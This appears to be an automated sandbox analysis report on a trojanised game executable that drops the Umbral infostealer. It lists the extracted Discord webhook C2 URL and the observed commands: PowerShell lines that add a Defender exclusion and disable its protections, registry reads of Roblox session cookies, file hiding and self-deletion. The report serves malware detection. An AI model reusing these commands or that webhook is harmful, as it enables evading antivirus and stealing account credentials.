Analysis

  • max time kernel
    149s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    09-01-2025 17:10

General

  • Target

    Counter Attack 1.3.07.exe

  • Size

    4.0MB

  • MD5

    768fac5fc9b1a6723ec5e88643cfa69b

  • SHA1

    ecadbe36d1526e2564eda430956b23d41b08e41a

  • SHA256

    98d6a942ccc041bb0534b401fef09d82b4d2a4690673c325217457e625e6259b

  • SHA512

    e4219e87335cccf156828c9271b6e619fc2f3ad848eb3a82ddc683679efb86e4575b2c0325ede1f3a06a533cb5bbdce75bd227ff46ee309902ba7e1554411690

  • SSDEEP

    49152:NNEVtO1U1y1DDDDDD7Llngq7NNMqU0p2Vhk9aQNEVtO1U1y1DDDDDD7Llngq7NN0:NNEVJyZlng4p2VeNEVJyZlng4p2VMg

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1326955608112496710/UQehMk_daQ2YbkYBZ11umbBWXbi1b3G49GJ1zVYdBwPGpiZwYf8UJiTlt6xSrBCEwhJ_

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe
    "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1064
    • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe
      "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2836
    • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
      "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1372 -s 988
        3⤵
          PID:2764
      • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1400
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2648
        • C:\Windows\system32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
          3⤵
          • Views/modifies file attributes
          PID:2928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:720
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
            PID:1988
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            3⤵
              PID:628
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              3⤵
                PID:1132
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:316
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                3⤵
                • Detects videocard installed
                PID:2360
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:112
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  4⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:560

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe

            Filesize

            1.9MB

            MD5

            ec801a7d4b72a288ec6c207bb9ff0131

            SHA1

            32eec2ae1f9e201516fa7fcdc16c4928f7997561

            SHA256

            b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46

            SHA512

            a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac

          • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

            Filesize

            231KB

            MD5

            69ac49033ce70c49a4615c5f32d3786e

            SHA1

            e8088b02cf9c84c027854bf0a8c042764a53ee07

            SHA256

            a233572b6ff043e804d6f2b8fb8e3a076d0e6558e723ad9d2a64e8811e129605

            SHA512

            5456504e8e85afdb6a65570890440f85be458fceaf1c5831c3a5669335170ca290809d7741550377e2bb22c4e7b73828886757149158fb152d4be1a6051787a3

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            ef09f23772fdd8931a85be22d7892b36

            SHA1

            4565a28a1644d78c63e5bd0417d8dc7aba8d7083

            SHA256

            56b801a54cf8bfbfcc06588458d41512dde894debbd3fcc4c701daf314975748

            SHA512

            09a600f95fb431f63e8a93558dfe8bc0179a019962eedb5320e7fa700664a0fc96b6f6c93740dfbbcdbe46a27e0a0099b742a7d6d4851056e5a198671ff2a477

          • \Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe

            Filesize

            1.9MB

            MD5

            69bead9cc091be0dffb03708ee18466c

            SHA1

            5c4940dddd513a8f75745d63f21fe53d9b22de49

            SHA256

            3e23ae22cb0d4e7ba836cc3f26ad73a51ff9c2987944f08c6120aeefc608d69b

            SHA512

            03ef8a187c7dd31979728d4a1fd544998f756df9f4af1e64d743f56ca42be648feac440246ff280cb7935cec2b5ecd500b2be69da47d6c598f3434f4c47a5f65

          • memory/316-68-0x0000000000400000-0x0000000000408000-memory.dmp

            Filesize

            32KB

          • memory/1064-22-0x0000000000400000-0x0000000000809000-memory.dmp

            Filesize

            4.0MB

          • memory/1372-26-0x0000000001060000-0x0000000001246000-memory.dmp

            Filesize

            1.9MB

          • memory/1400-25-0x0000000001250000-0x0000000001290000-memory.dmp

            Filesize

            256KB

          • memory/1692-17-0x0000000000400000-0x00000000005EC000-memory.dmp

            Filesize

            1.9MB

          • memory/2768-32-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

            Filesize

            2.9MB

          • memory/2768-33-0x0000000002310000-0x0000000002318000-memory.dmp

            Filesize

            32KB

          • memory/2856-39-0x000000001B650000-0x000000001B932000-memory.dmp

            Filesize

            2.9MB

          • memory/2856-40-0x0000000002240000-0x0000000002248000-memory.dmp

            Filesize

            32KB